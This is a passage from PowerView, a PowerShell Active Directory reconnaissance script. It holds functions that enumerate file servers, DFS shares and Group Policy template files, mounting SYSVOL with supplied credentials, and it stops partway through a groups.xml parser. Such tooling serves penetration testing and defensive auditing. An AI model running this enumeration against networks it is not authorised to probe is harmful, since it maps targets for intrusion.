11372 $Group.Save()
11373 }
11374 }
11375 }
11376}
11377
11378
11379function Get-DomainFileServer {
11380<#
11381.SYNOPSIS
11382
11383Returns a list of servers likely functioning as file servers.
11384
11385Author: Will Schroeder (@harmj0y)
11386License: BSD 3-Clause
11387Required Dependencies: Get-DomainSearcher
11388
11389.DESCRIPTION
11390
11391Returns a list of likely fileservers by searching for all users in Active Directory
11392with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying
11393the server names.
11394
11395.PARAMETER Domain
11396
11397Specifies the domain to use for the query, defaults to the current domain.
11398
11399.PARAMETER LDAPFilter
11400
11401Specifies an LDAP query string that is used to filter Active Directory objects.
11402
11403.PARAMETER SearchBase
11404
11405The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
11406Useful for OU queries.
11407
11408.PARAMETER Server
11409
11410Specifies an Active Directory server (domain controller) to bind to.
11411
11412.PARAMETER SearchScope
11413
11414Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
11415
11416.PARAMETER ResultPageSize
11417
11418Specifies the PageSize to set for the LDAP searcher object.
11419
11420.PARAMETER ServerTimeLimit
11421
11422Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
11423
11424.PARAMETER Tombstone
11425
11426Switch. Specifies that the searcher should also return deleted/tombstoned objects.
11427
11428.PARAMETER Credential
11429
11430A [Management.Automation.PSCredential] object of alternate credentials
11431for connection to the target domain.
11432
11433.EXAMPLE
11434
11435Get-DomainFileServer
11436
11437Returns active file servers for the current domain.
11438
11439.EXAMPLE
11440
11441Get-DomainFileServer -Domain testing.local
11442
11443Returns active file servers for the 'testing.local' domain.
11444
11445.EXAMPLE
11446
11447$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
11448$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
11449Get-DomainFileServer -Credential $Cred
11450
11451.OUTPUTS
11452
11453String
11454
11455One or more strings representing file server names.
11456#>
11457
11458 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
11459 [OutputType([String])]
11460 [CmdletBinding()]
11461 Param(
11462 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
11463 [ValidateNotNullOrEmpty()]
11464 [Alias('DomainName', 'Name')]
11465 [String[]]
11466 $Domain,
11467
11468 [ValidateNotNullOrEmpty()]
11469 [Alias('Filter')]
11470 [String]
11471 $LDAPFilter,
11472
11473 [ValidateNotNullOrEmpty()]
11474 [Alias('ADSPath')]
11475 [String]
11476 $SearchBase,
11477
11478 [ValidateNotNullOrEmpty()]
11479 [Alias('DomainController')]
11480 [String]
11481 $Server,
11482
11483 [ValidateSet('Base', 'OneLevel', 'Subtree')]
11484 [String]
11485 $SearchScope = 'Subtree',
11486
11487 [ValidateRange(1, 10000)]
11488 [Int]
11489 $ResultPageSize = 200,
11490
11491 [ValidateRange(1, 10000)]
11492 [Int]
11493 $ServerTimeLimit,
11494
11495 [Switch]
11496 $Tombstone,
11497
11498 [Management.Automation.PSCredential]
11499 [Management.Automation.CredentialAttribute()]
11500 $Credential = [Management.Automation.PSCredential]::Empty
11501 )
11502
11503 BEGIN {
11504 function Split-Path {
11505 # short internal helper to split UNC server paths
11506 Param([String]$Path)
11507
11508 if ($Path -and ($Path.split('\\').Count -ge 3)) {
11509 $Temp = $Path.split('\\')[2]
11510 if ($Temp -and ($Temp -ne '')) {
11511 $Temp
11512 }
11513 }
11514 }
11515
11516 $SearcherArguments = @{
11517 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))'
11518 'Properties' = 'homedirectory,scriptpath,profilepath'
11519 }
11520 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
11521 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
11522 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
11523 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
11524 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
11525 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
11526 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
11527 }
11528
11529 PROCESS {
11530 if ($PSBoundParameters['Domain']) {
11531 ForEach ($TargetDomain in $Domain) {
11532 $SearcherArguments['Domain'] = $TargetDomain
11533 $UserSearcher = Get-DomainSearcher @SearcherArguments
11534 # get all results w/o the pipeline and uniquify them (I know it's not pretty)
11535 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
11536 }
11537 }
11538 else {
11539 $UserSearcher = Get-DomainSearcher @SearcherArguments
11540 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
11541 }
11542 }
11543}
11544
11545
11546function Get-DomainDFSShare {
11547<#
11548.SYNOPSIS
11549
11550Returns a list of all fault-tolerant distributed file systems
11551for the current (or specified) domains.
11552
11553Author: Ben Campbell (@meatballs__)
11554License: BSD 3-Clause
11555Required Dependencies: Get-DomainSearcher
11556
11557.DESCRIPTION
11558
11559This function searches for all distributed file systems (either version
115601, 2, or both depending on -Version X) by searching for domain objects
11561matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively
11562The server data is parsed appropriately and returned.
11563
11564.PARAMETER Domain
11565
11566Specifies the domains to use for the query, defaults to the current domain.
11567
11568.PARAMETER SearchBase
11569
11570The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
11571Useful for OU queries.
11572
11573.PARAMETER Server
11574
11575Specifies an Active Directory server (domain controller) to bind to.
11576
11577.PARAMETER SearchScope
11578
11579Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
11580
11581.PARAMETER ResultPageSize
11582
11583Specifies the PageSize to set for the LDAP searcher object.
11584
11585.PARAMETER ServerTimeLimit
11586
11587Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
11588
11589.PARAMETER Tombstone
11590
11591Switch. Specifies that the searcher should also return deleted/tombstoned objects.
11592
11593.PARAMETER Credential
11594
11595A [Management.Automation.PSCredential] object of alternate credentials
11596for connection to the target domain.
11597
11598.EXAMPLE
11599
11600Get-DomainDFSShare
11601
11602Returns all distributed file system shares for the current domain.
11603
11604.EXAMPLE
11605
11606Get-DomainDFSShare -Domain testlab.local
11607
11608Returns all distributed file system shares for the 'testlab.local' domain.
11609
11610.EXAMPLE
11611
11612$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
11613$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
11614Get-DomainDFSShare -Credential $Cred
11615
11616.OUTPUTS
11617
11618System.Management.Automation.PSCustomObject
11619
11620A custom PSObject describing the distributed file systems.
11621#>
11622
11623 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
11624 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
11625 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
11626 [OutputType('System.Management.Automation.PSCustomObject')]
11627 [CmdletBinding()]
11628 Param(
11629 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
11630 [ValidateNotNullOrEmpty()]
11631 [Alias('DomainName', 'Name')]
11632 [String[]]
11633 $Domain,
11634
11635 [ValidateNotNullOrEmpty()]
11636 [Alias('ADSPath')]
11637 [String]
11638 $SearchBase,
11639
11640 [ValidateNotNullOrEmpty()]
11641 [Alias('DomainController')]
11642 [String]
11643 $Server,
11644
11645 [ValidateSet('Base', 'OneLevel', 'Subtree')]
11646 [String]
11647 $SearchScope = 'Subtree',
11648
11649 [ValidateRange(1, 10000)]
11650 [Int]
11651 $ResultPageSize = 200,
11652
11653 [ValidateRange(1, 10000)]
11654 [Int]
11655 $ServerTimeLimit,
11656
11657 [Switch]
11658 $Tombstone,
11659
11660 [Management.Automation.PSCredential]
11661 [Management.Automation.CredentialAttribute()]
11662 $Credential = [Management.Automation.PSCredential]::Empty,
11663
11664 [ValidateSet('All', 'V1', '1', 'V2', '2')]
11665 [String]
11666 $Version = 'All'
11667 )
11668
11669 BEGIN {
11670 $SearcherArguments = @{}
11671 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
11672 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
11673 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
11674 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
11675 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
11676 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
11677 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
11678
11679 function Parse-Pkt {
11680 [CmdletBinding()]
11681 Param(
11682 [Byte[]]
11683 $Pkt
11684 )
11685
11686 $bin = $Pkt
11687 $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
11688 $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
11689 $offset = 8
11690 #https://msdn.microsoft.com/en-us/library/cc227147.aspx
11691 $object_list = @()
11692 for($i=1; $i -le $blob_element_count; $i++){
11693 $blob_name_size_start = $offset
11694 $blob_name_size_end = $offset + 1
11695 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
11696
11697 $blob_name_start = $blob_name_size_end + 1
11698 $blob_name_end = $blob_name_start + $blob_name_size - 1
11699 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
11700
11701 $blob_data_size_start = $blob_name_end + 1
11702 $blob_data_size_end = $blob_data_size_start + 3
11703 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
11704
11705 $blob_data_start = $blob_data_size_end + 1
11706 $blob_data_end = $blob_data_start + $blob_data_size - 1
11707 $blob_data = $bin[$blob_data_start..$blob_data_end]
11708 switch -wildcard ($blob_name) {
11709 "\siteroot" { }
11710 "\domainroot*" {
11711 # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
11712 # DFSRootOrLinkIDBlob
11713 $root_or_link_guid_start = 0
11714 $root_or_link_guid_end = 15
11715 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
11716 $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
11717 $prefix_size_start = $root_or_link_guid_end + 1
11718 $prefix_size_end = $prefix_size_start + 1
11719 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
11720 $prefix_start = $prefix_size_end + 1
11721 $prefix_end = $prefix_start + $prefix_size - 1
11722 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
11723
11724 $short_prefix_size_start = $prefix_end + 1
11725 $short_prefix_size_end = $short_prefix_size_start + 1
11726 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
11727 $short_prefix_start = $short_prefix_size_end + 1
11728 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
11729 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
11730
11731 $type_start = $short_prefix_end + 1
11732 $type_end = $type_start + 3
11733 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
11734
11735 $state_start = $type_end + 1
11736 $state_end = $state_start + 3
11737 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
11738
11739 $comment_size_start = $state_end + 1
11740 $comment_size_end = $comment_size_start + 1
11741 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
11742 $comment_start = $comment_size_end + 1
11743 $comment_end = $comment_start + $comment_size - 1
11744 if ($comment_size -gt 0) {
11745 $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
11746 }
11747 $prefix_timestamp_start = $comment_end + 1
11748 $prefix_timestamp_end = $prefix_timestamp_start + 7
11749 # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
11750 $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
11751 $state_timestamp_start = $prefix_timestamp_end + 1
11752 $state_timestamp_end = $state_timestamp_start + 7
11753 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
11754 $comment_timestamp_start = $state_timestamp_end + 1
11755 $comment_timestamp_end = $comment_timestamp_start + 7
11756 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
11757 $version_start = $comment_timestamp_end + 1
11758 $version_end = $version_start + 3
11759 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
11760
11761 # Parse rest of DFSNamespaceRootOrLinkBlob here
11762 $dfs_targetlist_blob_size_start = $version_end + 1
11763 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
11764 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
11765
11766 $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
11767 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
11768 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
11769 $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
11770 $reserved_blob_size_end = $reserved_blob_size_start + 3
11771 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
11772
11773 $reserved_blob_start = $reserved_blob_size_end + 1
11774 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
11775 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
11776 $referral_ttl_start = $reserved_blob_end + 1
11777 $referral_ttl_end = $referral_ttl_start + 3
11778 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
11779
11780 #Parse DFSTargetListBlob
11781 $target_count_start = 0
11782 $target_count_end = $target_count_start + 3
11783 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
11784 $t_offset = $target_count_end + 1
11785
11786 for($j=1; $j -le $target_count; $j++){
11787 $target_entry_size_start = $t_offset
11788 $target_entry_size_end = $target_entry_size_start + 3
11789 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
11790 $target_time_stamp_start = $target_entry_size_end + 1
11791 $target_time_stamp_end = $target_time_stamp_start + 7
11792 # FILETIME again or special if priority rank and priority class 0
11793 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
11794 $target_state_start = $target_time_stamp_end + 1
11795 $target_state_end = $target_state_start + 3
11796 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
11797
11798 $target_type_start = $target_state_end + 1
11799 $target_type_end = $target_type_start + 3
11800 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
11801
11802 $server_name_size_start = $target_type_end + 1
11803 $server_name_size_end = $server_name_size_start + 1
11804 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
11805
11806 $server_name_start = $server_name_size_end + 1
11807 $server_name_end = $server_name_start + $server_name_size - 1
11808 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
11809
11810 $share_name_size_start = $server_name_end + 1
11811 $share_name_size_end = $share_name_size_start + 1
11812 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
11813 $share_name_start = $share_name_size_end + 1
11814 $share_name_end = $share_name_start + $share_name_size - 1
11815 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
11816
11817 $target_list += "\\$server_name\$share_name"
11818 $t_offset = $share_name_end + 1
11819 }
11820 }
11821 }
11822 $offset = $blob_data_end + 1
11823 $dfs_pkt_properties = @{
11824 'Name' = $blob_name
11825 'Prefix' = $prefix
11826 'TargetList' = $target_list
11827 }
11828 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
11829 $prefix = $Null
11830 $blob_name = $Null
11831 $target_list = $Null
11832 }
11833
11834 $servers = @()
11835 $object_list | ForEach-Object {
11836 if ($_.TargetList) {
11837 $_.TargetList | ForEach-Object {
11838 $servers += $_.split('\')[2]
11839 }
11840 }
11841 }
11842
11843 $servers
11844 }
11845
11846 function Get-DomainDFSShareV1 {
11847 [CmdletBinding()]
11848 Param(
11849 [String]
11850 $Domain,
11851
11852 [String]
11853 $SearchBase,
11854
11855 [String]
11856 $Server,
11857
11858 [String]
11859 $SearchScope = 'Subtree',
11860
11861 [Int]
11862 $ResultPageSize = 200,
11863
11864 [Int]
11865 $ServerTimeLimit,
11866
11867 [Switch]
11868 $Tombstone,
11869
11870 [Management.Automation.PSCredential]
11871 [Management.Automation.CredentialAttribute()]
11872 $Credential = [Management.Automation.PSCredential]::Empty
11873 )
11874
11875 $DFSsearcher = Get-DomainSearcher @PSBoundParameters
11876
11877 if ($DFSsearcher) {
11878 $DFSshares = @()
11879 $DFSsearcher.filter = '(&(objectClass=fTDfs))'
11880
11881 try {
11882 $Results = $DFSSearcher.FindAll()
11883 $Results | Where-Object {$_} | ForEach-Object {
11884 $Properties = $_.Properties
11885 $RemoteNames = $Properties.remoteservername
11886 $Pkt = $Properties.pkt
11887
11888 $DFSshares += $RemoteNames | ForEach-Object {
11889 try {
11890 if ( $_.Contains('\') ) {
11891 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
11892 }
11893 }
11894 catch {
11895 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_"
11896 }
11897 }
11898 }
11899 if ($Results) {
11900 try { $Results.dispose() }
11901 catch {
11902 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
11903 }
11904 }
11905 $DFSSearcher.dispose()
11906
11907 if ($pkt -and $pkt[0]) {
11908 Parse-Pkt $pkt[0] | ForEach-Object {
11909 # If a folder doesn't have a redirection it will have a target like
11910 # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
11911 # on 'null' rather than $Null
11912 if ($_ -ne 'null') {
11913 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
11914 }
11915 }
11916 }
11917 }
11918 catch {
11919 Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
11920 }
11921 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
11922 }
11923 }
11924
11925 function Get-DomainDFSShareV2 {
11926 [CmdletBinding()]
11927 Param(
11928 [String]
11929 $Domain,
11930
11931 [String]
11932 $SearchBase,
11933
11934 [String]
11935 $Server,
11936
11937 [String]
11938 $SearchScope = 'Subtree',
11939
11940 [Int]
11941 $ResultPageSize = 200,
11942
11943 [Int]
11944 $ServerTimeLimit,
11945
11946 [Switch]
11947 $Tombstone,
11948
11949 [Management.Automation.PSCredential]
11950 [Management.Automation.CredentialAttribute()]
11951 $Credential = [Management.Automation.PSCredential]::Empty
11952 )
11953
11954 $DFSsearcher = Get-DomainSearcher @PSBoundParameters
11955
11956 if ($DFSsearcher) {
11957 $DFSshares = @()
11958 $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
11959 $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
11960
11961 try {
11962 $Results = $DFSSearcher.FindAll()
11963 $Results | Where-Object {$_} | ForEach-Object {
11964 $Properties = $_.Properties
11965 $target_list = $Properties.'msdfs-targetlistv2'[0]
11966 $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
11967 $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
11968 try {
11969 $Target = $_.InnerText
11970 if ( $Target.Contains('\') ) {
11971 $DFSroot = $Target.split('\')[3]
11972 $ShareName = $Properties.'msdfs-linkpathv2'[0]
11973 New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
11974 }
11975 }
11976 catch {
11977 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
11978 }
11979 }
11980 }
11981 if ($Results) {
11982 try { $Results.dispose() }
11983 catch {
11984 Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
11985 }
11986 }
11987 $DFSSearcher.dispose()
11988 }
11989 catch {
11990 Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
11991 }
11992 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
11993 }
11994 }
11995 }
11996
11997 PROCESS {
11998 $DFSshares = @()
11999
12000 if ($PSBoundParameters['Domain']) {
12001 ForEach ($TargetDomain in $Domain) {
12002 $SearcherArguments['Domain'] = $TargetDomain
12003 if ($Version -match 'all|1') {
12004 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
12005 }
12006 if ($Version -match 'all|2') {
12007 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
12008 }
12009 }
12010 }
12011 else {
12012 if ($Version -match 'all|1') {
12013 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
12014 }
12015 if ($Version -match 'all|2') {
12016 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
12017 }
12018 }
12019
12020 $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
12021 }
12022}
12023
12024
12025########################################################
12026#
12027# GPO related functions.
12028#
12029########################################################
12030
12031function Get-GptTmpl {
12032<#
12033.SYNOPSIS
12034
12035Helper to parse a GptTmpl.inf policy file path into a hashtable.
12036
12037Author: Will Schroeder (@harmj0y)
12038License: BSD 3-Clause
12039Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent
12040
12041.DESCRIPTION
12042
12043Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
12044GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
12045is constructed and assumed to be the parse target. If -Credential is passed,
12046Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
12047the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
12048
12049.PARAMETER GptTmplPath
12050
12051Specifies the GptTmpl.inf file path name to parse.
12052
12053.PARAMETER OutputObject
12054
12055Switch. Output a custom PSObject instead of a hashtable.
12056
12057.PARAMETER Credential
12058
12059A [Management.Automation.PSCredential] object of alternate credentials
12060for connection to the remote system.
12061
12062.EXAMPLE
12063
12064Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
12065
12066Parse the default domain policy .inf for dev.testlab.local
12067
12068.EXAMPLE
12069
12070Get-DomainGPO testing | Get-GptTmpl
12071
12072Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
12073
12074.EXAMPLE
12075
12076$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
12077$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
12078Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
12079
12080Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
12081
12082.OUTPUTS
12083
12084Hashtable
12085
12086Ouputs a hashtable representing the parsed GptTmpl.inf file.
12087#>
12088
12089 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
12090 [OutputType([Hashtable])]
12091 [CmdletBinding()]
12092 Param (
12093 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
12094 [Alias('gpcfilesyspath', 'Path')]
12095 [String]
12096 $GptTmplPath,
12097
12098 [Switch]
12099 $OutputObject,
12100
12101 [Management.Automation.PSCredential]
12102 [Management.Automation.CredentialAttribute()]
12103 $Credential = [Management.Automation.PSCredential]::Empty
12104 )
12105
12106 BEGIN {
12107 $MappedPaths = @{}
12108 }
12109
12110 PROCESS {
12111 try {
12112 if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
12113 $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
12114 if (-not $MappedPaths[$SysVolPath]) {
12115 # map IPC$ to this computer if it's not already
12116 Add-RemoteConnection -Path $SysVolPath -Credential $Credential
12117 $MappedPaths[$SysVolPath] = $True
12118 }
12119 }
12120
12121 $TargetGptTmplPath = $GptTmplPath
12122 if (-not $TargetGptTmplPath.EndsWith('.inf')) {
12123 $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
12124 }
12125
12126 Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
12127
12128 if ($PSBoundParameters['OutputObject']) {
12129 $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
12130 if ($Contents) {
12131 $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
12132 $Contents
12133 }
12134 }
12135 else {
12136 $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
12137 if ($Contents) {
12138 $Contents['Path'] = $TargetGptTmplPath
12139 $Contents
12140 }
12141 }
12142 }
12143 catch {
12144 Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
12145 }
12146 }
12147
12148 END {
12149 # remove the SYSVOL mappings
12150 $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
12151 }
12152}
12153
12154
12155function Get-GroupsXML {
12156<#
12157.SYNOPSIS
12158
12159Helper to parse a groups.xml file path into a custom object.
12160
12161Author: Will Schroeder (@harmj0y)
12162License: BSD 3-Clause
12163Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
12164
12165.DESCRIPTION
12166
12167Parses a groups.xml into a custom object. If -Credential is passed,
12168Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
12169the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
12170
12171.PARAMETER GroupsXMLpath
12172
12173Specifies the groups.xml file path name to parse.
12174
12175.PARAMETER Credential
12176
12177A [Management.Automation.PSCredential] object of alternate credentials
12178for connection to the remote system.
12179
12180.OUTPUTS
12181
12182PowerView.GroupsXML
12183#>
12184
12185 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
12186 [OutputType('PowerView.GroupsXML')]
12187 [CmdletBinding()]
12188 Param (
12189 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
12190 [Alias('Path')]
12191 [String]
12192 $GroupsXMLPath,
12193
12194 [Management.Automation.PSCredential]
12195 [Management.Automation.CredentialAttribute()]
12196 $Credential = [Management.Automation.PSCredential]::Empty
12197 )
12198
12199 BEGIN {
12200 $MappedPaths = @{}
12201 }
12202
12203 PROCESS {
12204 try {
12205 if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
12206 $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
12207 if (-not $MappedPaths[$SysVolPath]) {
12208 # map IPC$ to this computer if it's not already
12209 Add-RemoteConnection -Path $SysVolPath -Credential $Credential
12210 $MappedPaths[$SysVolPath] = $True
12211 }
12212 }
12213
12214 [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
12215
12216 # process all group properties in the XML
12217 $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
12218
12219 $Groupname = $_.Properties.groupName
12220
12221 # extract the localgroup sid for memberof
12222 $GroupSID = $_.Properties.groupSid
12223 if (-not $GroupSID) {
12224 if ($Groupname -match 'Administrators') {
12225 $GroupSID = 'S-1-5-32-544'
12226 }
12227 elseif ($Groupname -match 'Remote Desktop') {
12228 $GroupSID = 'S-1-5-32-555'
12229 }
12230 elseif ($Groupname -match 'Guests') {
12231 $GroupSID = 'S-1-5-32-546'
12232 }
12233 else {
12234 if ($PSBoundParameters['Credential']) {
